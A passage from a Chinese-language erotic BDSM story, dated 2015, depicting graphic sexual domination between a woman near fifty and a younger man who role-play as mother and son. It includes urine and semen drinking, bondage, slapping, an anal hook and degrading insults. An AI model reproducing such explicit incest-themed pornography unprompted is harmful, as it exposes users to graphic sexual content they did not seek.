和征服欲。惟有完成这个经典的仪式,他跟她的这次SM之旅,才能划上完美的句
号。

她不会让他失望的。从一开始就不会。她抛开人格尊严,归于内心欲望的召
唤。她的匍仆,乖顺,似尘土一般被主人践踏于地,无一不衬托着主子的尊严和
霸气,而她心无旁骛的,全神于圣水的赐与,那份臣服,让他的征服欲得到极致
的释放。

她抬起上身,含住小主的圣物。慢慢地,她感到一股热流充盈她的口腔,温
暖,略带一丝茶氨味,她不假思索,喉咙动了二下。她如此自然的,完成了从妈
妈到儿子小宠的蜕变。

第六章

那天下午,他就一直坐在椅子上,除了偶尔离开拿自己需要用的东西外,几
乎没有动过。他虐他脚下的小贱狗。

他解开束在她身上的绳索。小狗狗不能被捆的太久。

喜欢SM的同好恐怕要对这样的描述深恶痛绝。有些人忍不住要骂娘了。然而
狗狗我已不年轻了,粗言秽语或露骨的描写,虽能获得暂时的快感,但这样的快
感如水过荷叶,转瞬即逝。再者,这样的私密事,是要留待故事中的男女主角,
在历尽沧桑,阅尽人间百态后,在某个秋日的一个午后的,品着茶,慢慢回味的。
如若不幸落入凡间,那就劳各尊位大驾,耐着心,一点一点往下读。

他甚至突发其想,用脚趾来挑战她对羞耻的耐受性。

那天,他把紫色铃铛的小利牙从她乳子上取下来。还没有等她的小狗狗缓过
神来,他就朝她脸上伸过去一只带着浓厚汗毛的小腿。

她一点没有犹豫。灵动舌头在五个脚趾间依次漂移,舔食,吸吮,包裹,犹
如对待小主的圣物一般,那温暖的厚嘴,生津的口腔,像一具制造快乐的机器,
源源不断输送到主子身上。

她不时拿眼角瞟她的主。他一幅受用的表情,让她舔食的更带劲。

他如何能错过如此动人的画面呢。他拿起手边茶几上的手机,她觉查到他的
动机,显出有些不情愿的样子。

「不拍脸。」他安她的心。

她信他的主。画面被定格下来了。

我看看。她想知道是怎么的画面让他如此的兴奋。她当然可以想像这样的情
景,但定格在画面里,从一个客体去认知,来的感觉,肯定不一样。

他给她看手机里的图。她一脸的羞涩。

「你看看你这骚贱样。」他一边给她看,一边羞她。同时他把脚趾,伸到她
的下体,使劲操他的SB. 他竟然用脚趾!极度反差的侵入,让她羞辱难当,同时
身体莫明的兴奋,随着主子脚趾的一进一出,她仿佛置身于快感的动车上。她的
心里默念,不要停下来,不要停下来。她担心他要是停下来,她会发狂的。脸上
的表情已是不堪,淫水更是源源不停地流出来,沾得小主全是水。

「舔干净。」小主将沾满淫水的脚趾头伸到狗狗嘴边。

她服服帖帖舔干净——为着他给她带来另类的体验。

「我看狗狗也蛮享受的嘛」。儿主开始羞她了。她涨红了脸,为着他识破她
的伪装。

他为着她淫荡的表现,要给他奖励了。

他引她来到床沿,推她伏在床上。光溜溜的身子,圆润而性感,结实的大腿,
一览无遗的下体,她讨他的好,将小花园全部清理,变成名符其实的白虎,她知
道他喜欢的。当然,他喜欢的,还有这诱人的胴体。他双手拉着她的乳头,似乎
可以借此获得某些超人的力量,然后从后面猛然进入她的身体。她在疼痛与抽插
的快感中,一度开始丢失自己。未了,他拖她在床上,将她的头置入他的胯下,
虐她的口。在一阵虐玩过后,他决意要在她的口中,射给她。

好了。她含着主的圣物,静静等着。一股小苏打味道的液体慢慢侵入她的口
中。她收拢双颌,给它一个负压。他从她口中出来。「没事,要是觉得不舒服,
就吐出来。」小主担心狗狗受不了这股味。

她含着小主的精华,久久不动。她怎么可能受不了。他是她的主。她仰起头,
看她的主。她抿了下嘴,将主的精华,全部吞进了肚里。

「乖~.」

他搂着她的小宠物,抱紧它。

第七章

他变着法虐她。就比如,他抽她的脸。

他用皮制的小板抽。一左一右,一轻一重。她起先不敢看,闭着眼,默默承
受。后来感觉摔的力度也不是很重,就偷偷半开着眼。那样子仿佛像小孩子打针,
护士姐姐未下手之前,总是闭着眼扭头一边,似乎看不到就什么也没发生一样。
等到针扎下去了,才鼓起勇气回过头来看那玩意儿。这会儿她透着半帘子的缝,
瞧自己的主。儿主的样子真真可爱。亦怒亦嗔。那模样。她简直想窜上去舔舔。
然而没有主人命令,狗狗不敢冒然行事,就便是他抱着,也喜欢她以跪的姿势。
她遵守游戏规则,不想单方撕毁它。

他起身朝镜子前的桌子走去,拿来几张餐巾纸,仔细擦拭她颈背后身上的汗
珠。她弄不懂为何会大汗淋漓。她对捆绑由衷的喜爱。先不说捆绑的造型,胸部
或臀部的突出,勾勒出令人淫荡和诱惑的姿势,单是那道具的选择,捆绑的设计,
穿绳的走势,棉麻绳相互摩擦引发的细微的嗞嗞声,在寂静房间里清晰可辩,以
及主奴双方对于未知的期待,都令人着迷。他的手引着她的眼。一双灵巧的手。
手掌不大,手指也不长,指节也不粗,还没有她的粗。她比试过。简洁大方的走
势,他专心的绕线,她跪立着,双手别在身后,一幅乖巧样。黑色的棉绳,柔软,
从背部起线,向前胸绕,先把狗奶子勾勒出来,好了,再用麻绳从乳沟处穿线,
向上绕过颈背,将两条黑色棉绳给收拢,然后用绳头固定,一卷一卷,数不清几
个来回,她看得入了迷,精致,漂亮。她也可以有如此漂亮的绳结,一件艺术品,
在儿主手上呈现。要多久才可以练就这双手艺?她分明想知道。这还用学,天生
的。儿主一脸的不屑。稍微的调整,双手将黑色bra 往两边扒,坦露出雪白丰满
的双乳。「留着乳罩捆,才漂亮」。儿主自语,一半是给她听。她低下头瞧一眼,
是的呢:两个奶子被硬生生挤在一个窄小的空间,毫无掩隐,完全暴露在小主的
眼前,好似争宠——透着骚劲;奶头不争气的,居然有些变硬了。他示意她离远
一些。「好淫荡的狗狗」。他虐兴已起,双唇合拢,双眼盯着这对狗奶子——专
属的,捏着奶头试着往外拉,「小贱货,四十多岁的妈妈了,狗奶子还这么挺。」
他从牙缝里挤出这句话。他不是喜欢松驰的乳么,然而从他眼里,分明透出喜悦。
她的身体带给小主愉悦,这想法让她欢心和满足,然而眼下她不得不眉头紧蹙,
耐受主子的虐。就便是结实坚挺的乳,也不能抵去它的淫荡诱使主子喜欢而导致
的罪过。它原该的。惩罚是不须借口的。「我的奶子,我想怎么玩就怎么玩,怎
么虐就怎么虐。」小主以几记漂亮的抽打,算是对自己才刚辛苦劳作的一个小小
的回馈。好戏还在后头。

「这是什么?」小主从身边茶几上的小纸箱里取出一件亮锃锃的物件,在她
眼前一亮,故意的问她道。

钢钩。她心里一阵狂喜,终于派上用场了。

曾几何时,钢钩的视觉刺激带给她无尽的暇想。佩戴行头的狗狗,浑圆臀部
中间锃亮的肛钩,钢制手铐,脚镣,手持铁链的主人,神态悠然,惬意的溜着狗。
她的身子无来由的兴奋。她置身其中,想像有那么一天,主人给这么装扮,那感
觉。她不敢再想像。

她没有尝过其中的滋味。她不是一张白纸了,但仍有一片未被开垦的处女地。
她没有刻意的保留。只是开发的进度太慢,或是没有想到要开发,所以就留下来
了。她在恰当时候的含蓄表达已暴露了内心的欲望,也曾借着撰写调教心得的手
段,通过文字传递对这类心仪工具的喜爱,但在前任主子那里,并没有获得成功。
她处事是如此的被动,既然对方未做出回应,这以后她也就绝口不提。她不承望
主子迁就自己的奴。换句话说,她无意带动一方的情绪。她压根儿没有从积极的
行为中获得心里的满足,哪怕是对方有一丁点儿不情愿,她就不会勉强对方的兴
趣。这块地儿就这么被搁置下来,这未尝不是一件幸事——于他,也于她。

他将大器物凑近小狗狗,小狗狗知趣的伸出狗舌头,将它润湿。凡进入她身
体的,他总事先让它们在她嘴里过一下。小主的手指呀,假JB,跳蛋,拉珠,现
在,是冰冷的钢制肛钩。他拿她当他的容器。不光承载制造快乐的工具,还要承
纳他的全部。他要物尽其用。箱子里零零种种的小玩意儿,SM的全部家当,是她
展现淫荡下贱的最佳诱饵。他笃定她喜欢。

小主俯身向前,将湿滑的带球的肛球塞入狗狗的肛门。

「儿主要玩妈咪的屁眼喽。」他不失时机的羞她的妈咪。

她的下体一阵收缩,伴随着略带冰冷的钢制球状物的侵入,一股酥麻的感觉
顿时袭击她的全身。她感到这器物在身体内霸道的侵入,臀部不由自主的被提升。
「挺直。」小主将狗狗的身子摆直,确保适当的紧张度,然后用绳头将钩固定住。
好了。他把这紧缚的狗狗摆得离他远一些,好使他看得更清。

这骚样。他心里暗暗道。

反手束缚,黑色奶罩被蹂躏的不成形,两个淫荡狗奶子,丰满白皙,黑色棉
绳交织在雪白的肌肤上,紫色小萄萄娇羞挺立。

「SB. 」啪。「你看你贱不贱?」他掌她的左脸。

「小贱货。」啪。「你看你贱不贱?」这次是右脸。

「小騒母狗。」啪。「你看你贱不贱?」「騒逼妈妈。」啪。「你看你贱不
贱?」……他一左一右掌掴她的脸。专注的表情,双唇已无意识,微微开启。她
看他掌她脸的手,感觉到手掌从高处划落到她脸上随带的一股凉风。她的眼随着
小主手的线路而移,她看得懂他高举轻落的用意,晓得他并不尽兴。她的内心涌
出对小主的怜爱,他的欲望已积蓄了近半年,不,也许更久一些。相比于他,她
空置的时间还要长——如果没有记错,最后一次,应该是二年前的冬季。她没有
对他隐瞒这一切。谁都有过去。有很长一段时间,她甚至想退出。于是竭力不去
想,也从不再聊起类似的话题。然而,最终,还是欲望出卖了她的奴性。她回复
本性。很自然,她伸出狗舌头,竭力想舔食那双施虐的手。她静心而欢悦。

他停止对她的抽打。从右手茶几上的纸箱里,挑选一个小物件。带铃铛的乳
夹。黑色的夹子,配饰亮紫色的小铃铛,显得俏皮而可爱。

小主仔细的挑选了一个角度,咬住了狗狗的两只小葡萄。她做好了被夹疼的
准备。不过还好,没有想像中的疼。她在思忖他的下一步动作时,看到小主手上,
已然多了一块黑色小皮板。他的狗奶子要受罪了。

来吧。她挺直了腰,内心给自己鼓劲。他看出她眼里透出来一丝挑衅的目光。
他决意要好好收拾这条贱狗了。

「啪,啪,啪。」皮子落在狗奶子上,一记比一记重,他能感到皮子抽打以
后狗狗身子微微颤动。狗奶子白暂的皮肤慢慢现出红晕,并向四周散开。好美。
他忍不住,低下头来,边抚边吻。

「噢……」。她忍不住呻吟。她希翼唇停留的时间更久一些,她甚至主动将
身子往前倾,以便能更大面积的触到他的身子。邪恶的小主,他怎可能轻易地满
足她呢。

他重拾刑具。

「啪。」声音不大,甚至有些闷。

「噢……」。她疼得脸变了形。她满以为继续享受之前力度的抽打,那是在
她的承受范围内。她想不出这疼痛从何而来,然而痛感真真切切,先前的可爱任
性,全都走了样。

「你以为你是什么?%&※◎※※※※。」

「嗯,是不是?」他用粗语辱她。之前他曾表达过他的偏好,问,可是喜欢?
她是不喜欢,但也不反感。这给了他极大的信心。他仍有赢的机会。他细探深究,
知道粗语并未给她身体带来预期的羞辱效果。她已练习就一身的抗秽功底,将粗
言秽语可以转换成她所喜欢的词澡。她一眼看穿对方。这个这女人。他内心激更
强的征服欲望。她当时并不知晓他的决心。她的包容,更多来源于对自然界生物
多样性的认识,得益于大洋彼洋一个叫金赛的人,那个让美国人认为比希特勒更
坏的美国人。他是怎么说的?没有一只昆虫的结构是完全相同的。是的,动物界
如此,人亦如此。每个人都是独一无二的,谁不是这样呢?因此这一次,她没有
故意在他跟她之间,挖一道鸿沟。她的包容成就了这一次的现实接触。眼下他因
虐而愈加兴奋的身体,骂起她来,有些语无伦次。

她哪里顾得上应他。一次次的重抽,让她在痛楚极限边缘上四处游走,她身
子往后躲闪,试图逃离皮板的魔爪。但行刑地就这么宽,主人跟前的一小块地,
她哪里躲得开?

「噢噢……」。痛楚和兴奋像一对孪生姐妹,相邀而至。她忍不住呻吟,她
分不清是因为疼,还是因为兴奋。

「让你呻吟,让你呻吟!?」儿主恼起来。下手更重。%&,你也配。她听
出儿主的潜台词。羞辱难当,极不情愿的从喉咙里吐出几声不像样的犬吠,内心
快要被折磨的崩溃了。

他终于歇手。放下皮板子,松开紫葡萄上的小凶器。

「来。」他轻声道,上身稍稍地往前倾,伸出双手,接他的小可怜入他的怀。
她眼前禽着泪花,身体的疼楚还未消退,心理还沉浸在前一轮受虐的委屈当中。
之前的抽打让她有点吃不消。本来她完全可以死顶着不出声,她对疼的耐受力不
是挺强的么,那么,做一次检验,也未尚不可。她心里还打着一个小算盘,耐受
的同时,可以一并检验儿主的观察力。他总不能把她打残。然而,随着力度的增
加,她渐渐的招架不住,她眉紧,咬紧牙关,心里将儿主狠狠的恨上十遍。慢慢
地,委屈像一股生烟,悄悄在心里往上窜。像火烧生柴,她可以发出安全信号的,
但她一时任性,也许是根本忘记了,故愈来愈大,愈来愈浓,熏得眼泪掉下来。
他觉查着有点儿不对劲。说好的安全信号呢?他很快读懂她脸上的痛楚表情和肢
体动作。我的小可怜,这怎么可以。他丢开皮板子,注目着眼前这具成熟女人的
胴体,这黎花带雨的凄美。轻轻的,他用手指抹掉挂在眼皮底下的泪。他拉她起
来。他疼心眼前这具犹物。风騒,淫荡,下贱,没有比之更为下贱的了,一个快
五十的女人,由着三十多岁的儿主,任意的虐玩。年龄的差距,乱伦的角色,这
想法让他近乎痴迷,简直让他一想到,就激发他虐她的冲动。一阵快感像海浪般
阵阵袭来,将他淹没。他不由得将她死命抱住,像一根藤紧紧缠着树干。她醉心
于这由虐及爱的情感跨越。如果说之前的捆绑、虐玩是游戏前奏的话,那么,之
后她对规则的小小破坏,故意的不发信号,以卑微的身躯承受更为强烈的抽打,
除开检测的私心之外,更是对其淫荡下贱欲望的一次小小的赎罪。惟有经历这一
过程,灵魂的净化才成其可能,身体才有资格获得主人的怜爱。哪怕一个轻吻,
一次轻抚,一个结实的拥抱。就像这样。他赐与她的。

房间里寂静无声,四月,南方绿城的午后,灼热的阳光被两层窗纱窗帘隔开,
只一线光线从接缝处偷溜进来。电视机,墙上的镜子,台桌,桌上摆放的手脑、
黑色旅行袋,桌椅上随意散放的藏青色牛仔裤,小主人红色底裤,袜子。所有物
件都各落其位,似乎给这静物画勾勒和点染,无分重点,没有主次。然而偷溜进
房间的光,从小主人的身后投射下来,让她既便是闭着眼,也能感到一片光亮。
她神型俱毁,晕乎乎,就只愿赖着,不撒手才好呢。这一念想让她更紧贴将小主
人。「学狗叫。」一丝颤音飘进她的耳廓,像从天际,沿着高低起伏的声波,钻
入她的耳底。她一点点被打到原型。是小主人,没错。就便是他抱着她,吻他虐
过的地方,以此表明他疼她,她仍旧是她的小宠物,小玩具,他虐她的心,一点
没变。这想法让她发狂,好不容易辛苦赚回一点人形的本钱,瞬间被小主人挥霍
掉了。她简直要咬他了。她凑近小主子的耳,近一些,更近一些,她张开嘴,他
分明听到「汪汪」二声,那据他说的,最美的声音——天籁。「乖狗狗」。他夸
赞她。她软绵绵,像一根被火烤得差不多的蜡烛,被榨的不成形。

是时候松开小狗狗了。他放开她,放她仍回地上跪立着。走到她身后,一点
点松开缚着的棉麻绳。

「你看看,我就说棉绳好,你偏爱麻绳,看留下的痕。」他指着麻绳在两乳
间留下深深的印子,有点后悔当初听她的建议。她如何晓得这些,她能留下痕印
记忆的,也只有麻绳。他当时征询过她的建议,她也就那么随口一说,想不到他
还真采纳了。她呆萌萌,一幅事不关已的表情。一心盼着发麻的四肢能尽快解放
出来。

她平躺在地毯上,把两只光溜溜的小腿搭在椅子主子的大腿上。由于曲膝的
时间有点长,两只膝盖中央有一圈模糊的印痕,这还不算什么,要紧是脚板发麻。
她知道过上一段时间肯定会消失,但她难得有机会在儿子跟前撒一次娇。过期无
效是通用的准则,她可不想白白放弃。

他俯下身来,仔细查看她双膝的痕,显出心疼样子。然后捧起她纤细的小腿,
轻轻按揉。他边按边打趣她,说几时见过一个主,帮奴奴按摩的。

「儿主嘛。」含着笑,她提醒他,「还说在网上学按摩呢。」他曾应允,TJ
结束,给妈咪疲惫的身体,放放松。她可没有忘。

小坏蛋妈咪。她居然记得住。他像被抓了把柄,然后装着言而必信的样子,
认认真真履行他的承诺。

第八章

她的欲望是如此的强烈。日子一天天的过,到了玩不动的那一天,怎么办?
那天,应该是周六,她抽空出来见他。他坐在靠窗的椅子上,看脚下的小贱狗狗,
显出不符合年纪的担扰,一幅老成持重的样子。到时候,她就全身退。她真是这
么想。不是说她不留恋。真正那天到来,退却是最好的选择。她包容这个男人,
说出这番话,连她自己都觉得惊讶。究其实,她的心理,多少有些私欲,拿他当
未曾来到这世上的一个孩子。要是当年她留下那孩子,到现在,也有20多岁了。
虽则年龄上并不完全相符,多少有些代入感。她的对他敞开心怀,兼具母亲般的
疼爱和包容,甚至有些纵容,与她对未知小生命的中途夭折伴随的愧疚和负罪感,
不无关系。起先,她劫生生,对这凭空冒出来的「儿子」,不敢接受。她清楚的
记得第一次他跟她语音——在她百般推脱后勉强答应下来,她听着他叫「妈咪」,
话筒那边稚嫩而急迫的声音,感觉得到他的兴奋。他聊对未来的设计,脑海里对
母与子的幻想,然而当时她拿他当愣头青,心静如水,一点不为所动。话聊到一
半,她已作好与他断绝联系的念想。她喜欢稳重的主子,对语音语调也有偏好,
这两样,他是一样都没占到边。他拨不动她内心深处的那根弦,她跟他,注定是
没有这份母子情缘的了。然而鬼使神差的,她也忘了是从哪一次的聊天,令她对
他慢慢的起了好感。是他的执着?热情?坦荡?总之他慢慢交心,偏偏她是慢节
奏的人,不知不觉就落入他张开的大网中。其实,谁捕谁,也难得说得清。他是
真拿她当自己的母亲。她的知性、成熟,气场,无一不深深地吸引到他。他左一
句「妈咪」,右一句「妈咪」,自然如流水,就好像是喊了几十年一样,直叫到
她心坎上,由不得她不信。后来他告诉她,他这么做,完全是为了拉近他跟她之
间的,母子情。否则,硬生生,她如何接纳他,以儿子的身份。他用心良苦,将
双方的交往置入到她的现实生活当中,比如他会说爸爸,弟弟,甚至有次跟她讲,
她为了弟弟能每天跟妈咪在一起,吃着妈咪煮的饭,与妈咪亲近而心生妒嫉妒。
他的一些背离伦理的大胆虐玩想法,正常人连想都无法想像的,他觉得,美极了。
凡此种种,她当幻想来听——她清楚他跟她目前的境况,撇开经济条件不说,双
方的家庭,都是一种羁绊和束缚。然而,她并未以此看小他。难道联想都不可以
么?他还年轻。比起同时代的年轻人,已经很不错了。客居异乡,无靠父母,凭
自己一手努力,成了家,还拥有自己安稳处。虽则这次他不是专程来看他,兼有
业务在身,下榻的酒店,也很一般,标准的单间房,比起商务套房,小多了。但
这有什么呢?房间小点,当狗狗的,可以不用爬的这么辛苦。她已经过了通过表
相选择主子的年龄了。就便是豪华一些,宽一些,除了满足她的虚荣之外,能得
到什么。对SM理解的认同,才是她跟他,走在一起的缘由。他关乎狗狗身心的满
足和舒适度。他和盘托出内心的担忧,不期望她说出那样的话。他有点恼了,为
着她说出这样不负责任话。他跟她,才刚刚开始,他可不想要那样的结局。真到
那一天,看我不把你折腾。「儿子要是弄不动,就……」他的邪恶念头时不时从
脑海中闪现,他抓住每个小小的机会羞她。只要他跟她在一起,就没想停过。

「给儿子喂下奶。」他要她履行母亲的义务了。

她直起身,靠近他,将双乳奉上。

像婴儿般,他埋头在她胸前,轻轻吸吮她。她双手拢着儿主的头,那一刻,
犹如天使降临,母亲般原始的柔情瞬间被点燃了。她一下回复到初为人母的幸福
记忆中去。产房里,随着一声啼哭,一个沉甸甸的小生命被放到她裸露的胸前,
柔软的小嘴唇艰难的寻找,最后终于含住那颗紫葡萄。她的眼眶莫明其妙的,模
糊了——隆起的腹部不再,胎儿离开母体后的空虚,籍由小生命的第一次亲密接
触,顿时变的丰满起来。

他蹂躏这对丰乳。尝试过用牙咬,拉着奶头往外拽,或是用板子虐。比起这
些,她情愿他用手捻,轻轻的。羞辱的味道更重,亵玩的意味更浓。他采纳她的
意见。他目的让她开心,他随时观察她的反应并加以调整。她体察他的用心,甚
至于改变她以往性格,决意不再让他在寻找的道路上设置障碍。如果她喜欢,为
什么不可以直接说出来,也使得他少走弯路。

「是不是这样,嗯?」他立马尝试,坏坏的,看着妈咪。

「噢……」。

下体像被撕开一个裂口,内心的空虚迅速膨胀到极点,生命的意义不再,她
快要坠入无底的深渊了。她无助的看着他,谁能拯救她。她身子竭力往下坠,试
图挣脱这欲望的启发器,让自己回复凡间。

他觉查到她眼神的呆滞,双眼开始变得迷离,他想不到这手法的厉害和功效。
他对她的身体,又多了一份认识。

他拉她起身,抱紧她,给她一个结实的拥抱。

好像她专为这拥抱而来。如果说调教是用快乐织就的锦,而拥抱,犹如锦上
之花,恰到好处,不俗不艳,宁静而淡雅。

假使有一天,他不再吻她,不再抱她。

「拉倒吧。到时候……」。他情愿看她享受,而他搂着她亲,亲个够。他故
意避开她织就的多愁之网,他才不跟她的步伐走,他处心积虑让她开心。

她跟他,就没有过不开心的时候。

他乘周日的动车离开。不知道下一次的相见,要到什么时候。您说呢,小主?

2015年5月6日